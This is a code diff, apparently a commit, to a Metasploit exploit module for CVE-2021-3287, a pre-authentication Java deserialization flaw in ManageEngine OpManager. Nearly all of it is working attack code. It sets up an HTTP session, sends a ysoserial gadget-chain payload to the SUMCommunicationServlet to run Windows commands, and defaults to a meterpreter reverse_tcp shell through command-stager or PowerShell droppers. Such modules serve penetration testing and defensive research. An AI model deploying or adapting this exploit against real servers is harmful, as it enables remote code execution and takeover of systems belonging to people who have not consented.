@@ -7,29 +7,29 @@ class MetasploitModule < Msf::Exploit::Remote
77 Rank = ExcellentRanking
88
99 prepend Msf ::Exploit ::Remote ::AutoCheck
10+ include Msf ::Exploit ::CmdStager
1011 include Msf ::Exploit ::Remote ::HttpClient
11- include Msf ::Exploit ::JavaDeserialization
12+ include Msf ::Exploit ::Powershell
1213
1314 def initialize ( info = { } )
14- super ( update_info ( info ,
15- 'Name' => 'ManageEngine OpManager SumPDU Java Deserialization' ,
16- 'Description' => %q{
17-
18- } ,
19- 'Author' =>
20- [
15+ super (
16+ update_info (
17+ info ,
18+ 'Name' => 'ManageEngine OpManager SumPDU Java Deserialization' ,
19+ 'Description' => %q{
20+ } ,
21+ 'Author' => [
2122 'Spencer McIntyre' , # Metasploit module
2223 ] ,
23- 'License' => MSF_LICENSE ,
24- 'Platform' => 'win' ,
25- 'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
26- 'References' =>
27- [
24+ 'License' => MSF_LICENSE ,
25+ 'Platform' => 'win' ,
26+ 'Arch' => [ ARCH_CMD , ARCH_X86 , ARCH_X64 ] ,
27+ 'References' => [
2828 [ 'CVE' , '2021-3287' ] ,
2929 [ 'URL' , 'https://haxolot.com/posts/2021/manageengine_opmanager_pre_auth_rce/' ]
3030 ] ,
31- 'Privileged' => true ,
32- 'Targets' => [
31+ 'Privileged' => true ,
32+ 'Targets' => [
3333 [
3434 'Windows Command' ,
3535 {
@@ -45,7 +45,7 @@ def initialize(info = {})
4545 {
4646 'Arch' => [ ARCH_X86 , ARCH_X64 ] ,
4747 'Type' => :win_dropper ,
48- 'CmdStagerFlavor' => :certutil , # This works without issue
48+ # 'CmdStagerFlavor' => :certutil, # This works without issue
4949 'DefaultOptions' => {
5050 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
5151 }
@@ -61,32 +61,40 @@ def initialize(info = {})
6161 }
6262 }
6363 ]
64- ] ,
65- 'DefaultOptions' => {
66- 'RPORT' => 8060 ,
67- } ,
68- 'DefaultTarget' => 0 ,
69- 'DisclosureDate' => '2021-07-26' ) )
64+ ] ,
65+ 'DefaultOptions' => {
66+ 'RPORT' => 8060
67+ } ,
68+ 'DefaultTarget' => 0 ,
69+ 'DisclosureDate' => '2021-07-26' ,
70+ 'Notes' => {
71+ 'Reliability' => [ REPEATABLE_SESSION ] ,
72+ 'SideEffects' => [ ARTIFACTS_ON_DISK ] ,
73+ 'Stability' => [ CRASH_SAFE ]
74+ }
75+ )
76+ )
7077
7178 register_options ( [
72- OptString . new ( 'TARGETURI' , [ true , " OpManager path" , '/' ] )
79+ OptString . new ( 'TARGETURI' , [ true , ' OpManager path' , '/' ] )
7380 ] )
7481 end
7582
7683 def check
77- # todo : write this
84+ # TODO : write this
7885 return Exploit ::CheckCode ::Unknown
7986 end
8087
8188 def exploit
8289 # Step 1: Establish a valid HTTP session
8390 res = send_request_cgi ( {
84- 'uri' => normalize_uri ( target_uri . path ) ,
91+ 'uri' => normalize_uri ( target_uri . path ) ,
8592 'keep_cookies' => true
8693 } )
87- unless res &.code == 200 && res . headers [ 'Set-Cookie' ] . to_s =~ /JSESSIONID=/
94+ unless res &.code == 200 && res . get_cookies =~ /JSESSIONID=/
8895 fail_with ( Failure ::UnexpectedReply , 'Failed to establish an HTTP session' )
8996 end
97+ print_status ( 'An HTTP session cookie has been issued' )
9098
9199 # Step 2: Add the requestHandler to the HTTP session
92100 res = send_request_cgi ( {
@@ -99,6 +107,7 @@ def exploit
99107 unless res &.code == 200
100108 fail_with ( Failure ::UnexpectedReply , 'Failed to setup the HTTP session' )
101109 end
110+ print_status ( 'The request handler has been associated with the HTTP session' )
102111
103112 # Step 3: Exploit the deserialization vulnerability to run commands
104113 case target [ 'Type' ]
@@ -120,13 +129,14 @@ def execute_command(cmd, _opts = {})
120129
121130 # the frohoff/ysoserial#168 gadget chain is a derivative of CommonsBeanutils1 that has been updated to remove the
122131 # dependency on the commons-collections library making it usable in this context
123- java_payload = Msf ::Util ::JavaDeserialization . ysoserial_payload ( 'frohoff/ysoserial#168' , cmd )
132+ java_payload = Msf ::Util ::JavaDeserialization . ysoserial_payload ( 'frohoff/ysoserial#168' , " cmd.exe /c #{ cmd } " )
124133
125134 res = send_request_cgi ( {
126135 'method' => 'POST' ,
127136 'uri' => normalize_uri ( target_uri . path , '/servlets/com.adventnet.tools.sum.transport.SUMCommunicationServlet' ) ,
128137 'keep_cookies' => true ,
129138 'data' => [ java_payload . length ] . pack ( 'N' ) + java_payload
130139 } )
140+ fail_with ( Failure ::UnexpectedReply , 'Failed to execute the command' ) unless res &.code == 200
131141 end
132142end
0 commit comments